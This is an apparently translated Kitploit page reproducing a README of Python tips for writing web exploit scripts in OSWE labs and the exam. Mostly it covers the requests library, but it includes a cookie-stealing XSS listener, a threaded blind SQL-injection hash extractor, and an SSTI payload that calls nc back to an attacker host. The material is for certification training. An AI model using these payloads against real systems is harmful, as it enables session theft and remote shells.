Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
exploit-writing-for-oswe — Советы по написанию эксплойт-скриптов (быстрее!) | Kitploit
Инструменты/GitHubGitHub/rizemon/exploit-writing-for-oswe
Скриптинг и автоматизацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеОбучение и ОбразованиеПодобранные РесурсыРазработка Полезной Нагрузки
GitHubrizemon/exploit-writing-for-oswe

exploit-writing-for-oswe

Советы по написанию эксплойт-скриптов (быстрее!)

Репозиторий
59111262 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Написание эксплойтов для OSWE

Предыстория

Что это

Этот репозиторий содержит список полезных фрагментов кода и советов, относящихся к написанию скриптов эксплойтов в лабораторных работах OSWE и на сертификационном экзамене.

Некоторые примеры здесь могут противоречить отдельным практикам программирования, но наша конечная цель — написать скрипт эксплойта быстро и правильно.

Раздел Фрагменты кода — отличная отправная точка, если у вас нет опыта работы с библиотекой requests или вы новичок в Python. В противном случае можете сразу перейти к разделу Переиспользуемый код или Советы.

Зачем

  • Хотя существует множество разборов, обзоров и заметок о сертификации, лишь немногие ресурсы специально сосредоточены на процессе написания эксплойтов.
  • Написание скрипта эксплойта может пугать, особенно тех, кто новичок в Python или имеет мало опыта взаимодействия с веб-приложениями через код.
  • Время, затрачиваемое на выявление уязвимостей и подготовку отчёта по экзамену, может значительно колебаться, но время, затрачиваемое на разработку скрипта эксплойта, можно , если хорошо освоить этот процесс.
свести к минимуму и поддерживать постоянным

Оглавление

  • Написание эксплойтов для OSWE
    • Предыстория
      • Что это
      • Зачем
    • Оглавление
    • Фрагменты кода
      • Начальный шаблон
      • Полезные импорты
      • Использование библиотеки requests
        • Отправка простейшего HTTP-запроса
        • Указание различных HTTP-методов
        • Чтение HTTP-ответа
        • Отправка данных в виде строки запроса в URL (аргумент params)
        • Отправка данных в виде строки запроса в теле (аргумент data)
        • Отправка данных в виде JSON в теле (аргумент json)
        • Отправка файла в теле (аргумент files)
        • Установка HTTP-заголовков (аргумент headers)
        • Установка HTTP-куки (аргумент cookies)
        • Отключение перехода по редиректам 3XX (аргумент allow_redirects)
        • Взаимодействие с непроверенным HTTPS-сервером (аргумент verify)
        • Отправка запроса через HTTP-прокси (аргумент proxies)
        • Создание Session
        • Установка постоянных куки
        • Установка постоянных заголовков
      • Поиск и устранение неисправностей
        • Используйте Wireshark и фильтр по HTTP-запросам
        • Вывод содержимого HTTP-запроса
        • Проксирование HTTP-запроса через Burp Suite и его просмотр
      • Переиспользуемый код
        • Раздача файлов через HTTP
        • Кража HTTP-куки
        • Ускорение SQL-инъекций
    • Советы
      • Выполняйте проверку корректности после каждого HTTP-запроса с помощью assert
      • Выводите осмысленные сообщения после каждого шага
      • Разделяйте каждый шаг эксплуатации на отдельную функцию
      • Создайте глобальный объект Session, чтобы не передавать его явно в каждый вызов функции
      • Создайте глобальную строку BASE_URL и формируйте нужные URL на её основе
      • Чтобы направить все HTTP-запросы через Burp Suite без использования аргумента proxies, задайте переменную окружения HTTP_PROXY / HTTPS_PROXY при запуске
      • Применяйте схемы кодирования/декодирования для безопасной передачи полезных нагрузок
      • Используйте """ для создания строки полезной нагрузки, если она содержит как одинарные ('), так и двойные кавычки ()

Фрагменты кода

Начальный шаблон

root@kitploit:~
import requests

def main():
    print("Hello World!")

if __name__ == __main__:
    main()

Полезные импорты

root@kitploit:~
# For sending HTTP requests
import requests

# For Base64 encoding/decoding
from base64 import b64encode, b64decode, urlsafe_b64encode, urlsafe_b64decode

# For getting current time or for calculating time delays
from time import time

# For regular expressions
import re

# For running shell commands
import subprocess

# For multithreading
from concurrent.futures import ThreadPoolExecutor

# For running a HTTP server in the background
import threading
from http.server import HTTPServer, BaseHTTPRequestHandler

# For parsing HTTP cookies
from http import cookies

# For getting command-line arguments
import sys

Использование библиотеки requests

Отправка простейшего HTTP-запроса

root@kitploit:~
resp_obj = requests.get("https://github.com")

Указание различных HTTP-методов

root@kitploit:~
# GET method
requests.get("https://github.com")

# POST method
requests.post("https://github.com")

# PUT method
requests.put("https://github.com")

# PATCH method
requests.patch("https://github.com")

# DELETE method
requests.delete("https://github.com")

Чтение HTTP-ответа

root@kitploit:~
resp_obj = requests.get("https://github.com")

# HTTP status code (e.g 404, 500, 301)
resp_obj.status_code

# HTTP response headers (e.g Location, Content-Disposition)
resp_obj.headers["Location"]

# Body as bytes
resp_obj.content

# Body as a string
resp_obj.text

# Body as a dictionary (if body is a JSON)
resp_obj.json()

Отправка данных в виде строки запроса в URL (аргумент params)

root@kitploit:~
params = {
    "foo": "bar"
}

requests.get("https://github.com", params=params)

Отправка данных в виде строки запроса в теле (аргумент data)

root@kitploit:~
data = {
    "foo": "bar"
}

requests.post("https://github.com", data=data)

Отправка данных в виде JSON в теле (аргумент json)

root@kitploit:~
data = {
    "foo": "bar"
}

requests.post("https://github.com", json=data)

Отправка файла в теле (аргумент files)

root@kitploit:~
files = {
    #                (FILE_NAME, FILE_CONTENTS, FILE_MIMETYPE)
    "uploaded_file": ("phpinfo.php", b"<?php phpinfo() ?>", "application/x-httpd-php")
}

requests.post("https://github.com", files=files)

Установка HTTP-заголовков (аргумент headers)

root@kitploit:~
headers = {
    "X-Forwarded-For": "127.0.0.1"
}

requests.get("https://github.com", headers=headers)

Установка HTTP-куки (аргумент cookies)

root@kitploit:~
cookies = {
    "PHPSESSID": "fakesession"
}

requests.get("https://github.com", cookies=cookies)

Отключение перехода по редиректам 3XX (аргумент allow_redirects)

root@kitploit:~
requests.post("https://github.com/login", allow_redirects=False)

Взаимодействие с непроверенным HTTPS-сервером (аргумент verify)

root@kitploit:~
# Supresses InsecureRequestWarning messages
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

requests.get("https://github.com", verify=False)

Отправка запроса через HTTP-прокси (аргумент proxies)

root@kitploit:~
proxies = {
    "HTTP": "http://127.0.0.1:8080",
    "HTTPS": "http://127.0.0.1:8080"
}

requests.get("https://github.com", proxies=proxies)

Создание Session

root@kitploit:~
session = requests.Session()
session.get("https://github.com")

Установка постоянных куки

root@kitploit:~
session = requests.Session()
session.cookies.update({"PHPSESSID": "fakesession"})

Установка постоянных заголовков

root@kitploit:~
session = requests.Session()
session.headers["Authorization"] = "Basic 123"

Поиск и устранение неисправностей

Используйте Wireshark и фильтр по HTTP-запросам

  1. Откройте Wireshark
  2. Выберите VPN-интерфейс (например, tun0)
  3. Введите http в строку фильтра.

Вывод содержимого HTTP-запроса

root@kitploit:~
data = {
    "foo": "bar"
}
resp_obj = requests.post("https://github.com", data=data)
prepared_request = resp_obj.request

print("Method:\n", prepared_request.method)
print()
print("URL:\n", prepared_request.url)
print()
print("Headers:\n", prepared_request.headers)
print()
print("Body:\n", prepared_request.body)

Проксирование HTTP-запроса через Burp Suite и его просмотр

  1. Откройте Burp Suite
  2. Перейдите на вкладку "Proxy" и установите "Intercept" в положение "On".

Переиспользуемый код

Раздача файлов через HTTP

root@kitploit:~
LHOST      = "10.0.0.1"
WEB_PORT   = 8000
JS_PAYLOAD = "<script>alert(1)</script>"

def start_web_server():
    class MyHandler(BaseHTTPRequestHandler):
        # Uncomment this method to suppress HTTP logs
        # def log_message(self, format, *args):
        #     return

        def do_GET(self):
            if self.path.endswith('/payload.js'):
                self.send_response(200)
                self.send_header("Content-Type", "application/javascript")
                self.send_header("Content-Length", str(len(JS_PAYLOAD)))
                self.end_headers()
                self.wfile.write(JS_PAYLOAD.encode())
            
    httpd = HTTPServer((LHOST, WEB_PORT), MyHandler)
    threading.Thread(target=httpd.serve_forever).start()

start_web_server()

Кража HTTP-куки

root@kitploit:~
LHOST      = "10.0.0.1"
WEB_PORT   = 8000

requests = requests.Session()
xss_event = threading.Event() # Signifies when victim sends their cookie

def send_xss_payload():
    pass

def start_web_server():
    class MyHandler(BaseHTTPRequestHandler):

        def do_GET(self):
            self.send_response(200)
            self.end_headers()

            # Load stolen cookie into session
            _, enc_cookie = self.path.split("/?cookie=", 1)
            plain_cookie = urlsafe_b64decode(enc_cookie).decode()
            session.cookies["PHPSESSID"] = cookies.SimpleCookie(plain_cookie)["PHPSESSID"]

            xss_event.set() # Trigger the event
            
    httpd = HTTPServer((LHOST, WEB_PORT), MyHandler)
    threading.Thread(target=httpd.serve_forever).start()

start_web_server()
send_xss_payload()
xss_event.wait() # Wait for event to be triggered
print("[+] Stolen cookie:", session.cookies["PHPSESSID"])

Ускорение SQL-инъекций

root@kitploit:~
MAX_WORKERS = 20
HASH_LENGTH = 32

def exfiltrate_hash():

    def boolean_sqli(arguments):
        idx, ascii_val = arguments
        # ...
        # Perform SQLi and store boolean outcome into truth
        # ...
        return ascii_val, truth

    result = ""

    # Go through each character position
    for idx in range(HASH_LENGTH):

        # Use MAX_WORKERS threads to test possible ASCII values in parallel
        with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor:
            # Pass each of (0, 32), (0, 33) ..., (0, 126) as an argument to boolean_sqli()
            responses = executor.map(boolean_sqli, [(idx, ascii_val) for ascii_val in range(32, 126)])

        # Go through each response and determine which ASCII value is correct
        for ascii_val, truth in responses:
            if truth:
                result += chr(ascii_val)
                break
    
    return result

hash = exfiltrate_hash()

Советы

Выполняйте проверку корректности после каждого HTTP-запроса с помощью assert

  • Проверяйте, действительно ли веб-шелл загружен, прежде чем пытаться его вызвать
  • Проверяйте, успешна ли аутентификация, прежде чем эксплуатировать аутентифицированные функции

Пример:

root@kitploit:~
# Suppose 302 is returned if successful login
resp_obj = requests.post("http://example.com/login", data=data, allow_redirect=False)
assert resp_obj.status_code == 302, "Login not successful"

# Suppose admin page is returned if successful login
resp_obj = requests.post("http://example.com/login", data=data)
assert "Admin Dashboard" in resp_obj.content, "Login not successful"

Выводите осмысленные сообщения после каждого шага

  • О начале/завершении действия ИЛИ
  • О куки/токенах/файлах/значениях, которые были получены

Пример:

root@kitploit:~
[+] Parsed command-line arguments and got:
  * BASE_URL: http://example.com
  * LHOST:    127.0.0.1
  * LPORT:    1337
[+] Triggered password reset token generation
[=] Getting password reset token length...
[+] Got password reset token length: 10
[=] Retrieving password reset token...
[+] Got password reset token: FAKE_TOKEN

Разделяйте каждый шаг эксплуатации на отдельную функцию

Пример:

root@kitploit:~
def register():
    pass

def login():
    pass

def rce():
    pass

Создайте глобальный объект Session, чтобы не передавать его явно в каждый вызов функции

root@kitploit:~
session = requests.Session()

def login():
    session.post(...)

def rce():
    session.post(...)

Создайте глобальную строку BASE_URL и формируйте нужные URL на её основе

root@kitploit:~
BASE_URL = ""
session = requests.Session()

def login():
    url = BASE_URL + "/login"
    session.post(url, ...)

def rce():
    url = BASE_URL + "/rce"
    session.post(url, ...)

def main():
    # Allow BASE_URL to be modified
    global BASE_URL
    BASE_URL = sys.argv[1]
...

Чтобы направить все HTTP-запросы через Burp Suite без использования аргумента proxies, задайте переменную окружения HTTP_PROXY / HTTPS_PROXY при запуске

root@kitploit:~
$ HTTP_PROXY=http://127.0.0.1:8080 python3 poc.py

Применяйте схемы кодирования/декодирования для безопасной передачи полезных нагрузок

  • Base64
  • Шестнадцатеричное

Используйте """ для создания строки полезной нагрузки, если она содержит как одинарные ('), так и двойные кавычки (")

Пример:

root@kitploit:~
payload = """This is a '. This is a "."""

Ускорьте SQL-инъекции с помощью многопоточности

См. раздел Ускорение SQL-инъекций.

Жёстко прописывайте куки аутентифицированного пользователя при разработке эксплойтов для аутентифицированных функций

Особенно если для получения аутентифицированной сессии пришлось выполнить много трудоёмких шагов.

Пример:

root@kitploit:~
session = requests.Session()

def main():
    # Skipping these for now...
    # register()
    # login()

    # TODO: Delete this line after you are
    # done developing and uncomment the above steps!
    session.cookies["JSESSIONID"] = "ADMIN_COOKIE"

    # Exploit authenticated features...
...

Избегайте f-строк (f"") и str.format, если полезная нагрузка содержит слишком много фигурных скобок ({})

Удвоение каждой фигурной скобки только для экранирования может быть утомительным и чревато ошибками. Вместо этого используйте простые плейсхолдеры и делайте .replace()!

Пример:

root@kitploit:~
# Too many curly braces
ssti_payload = f"{{{{ __import__('os').system('nc {LHOST} {LPORT}') }}}}"
# Much easier to read
ssti_payload = "{{ __import__('os').system('nc <LHOST> <LPORT>') }}"\
    .replace("<LHOST>", LHOST)\
    .replace("<LPORT>", LPORT)
Скачать инструмент
"
  • Ускорьте SQL-инъекции с помощью многопоточности
  • Жёстко прописывайте куки аутентифицированного пользователя при разработке эксплойтов для аутентифицированных функций
  • Избегайте f-строк (f"") и str.format, если полезная нагрузка содержит слишком много фигурных скобок ({})